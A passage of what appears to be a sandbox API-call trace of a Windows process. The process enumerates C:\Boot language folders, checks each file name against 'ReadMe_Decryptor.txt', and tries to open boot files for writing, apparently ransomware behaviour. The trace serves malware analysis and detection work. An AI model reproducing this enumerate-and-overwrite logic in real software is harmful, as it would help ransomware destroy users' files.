ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0033.986] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0033.986] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0033.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.986] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0033.986] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0033.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x560008 [0033.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0033.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0033.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0033.987] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0033.987] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0033.987] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0033.988] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0033.988] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0033.988] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0033.988] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0033.988] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0033.988] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0033.988] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0033.988] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0033.988] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.060] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.060] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0034.060] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0034.060] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0034.060] FindFirstFileExW (in: lpFileName="C:\\Boot\\el-GR\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.060] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.060] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.060] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0034.060] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0034.060] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.060] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557570 [0034.060] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.060] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0034.060] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0034.060] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0034.060] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0034.060] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0034.060] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x560008 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0034.061] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0034.061] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0034.061] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.062] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.062] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.062] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.062] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.062] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.062] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0034.062] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0034.062] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.062] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.062] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0034.062] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0034.062] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0034.062] lstrcmpW (lpString1="memtest.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.062] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.062] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0034.062] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0034.062] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0034.062] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0034.063] FindFirstFileExW (in: lpFileName="C:\\Boot\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.063] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.063] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0034.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0034.063] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x5575b8 [0034.063] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0034.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0034.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0034.063] lstrcmpW (lpString1="memtest.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557600 [0034.063] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0034.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0034.063] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0034.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0034.063] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0034.063] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0034.063] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0034.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0034.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0034.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0034.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0034.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0034.063] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0034.063] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0034.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x560008 [0034.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0034.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0034.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0034.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0034.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0034.064] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0034.064] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0034.064] HeapFree (in: 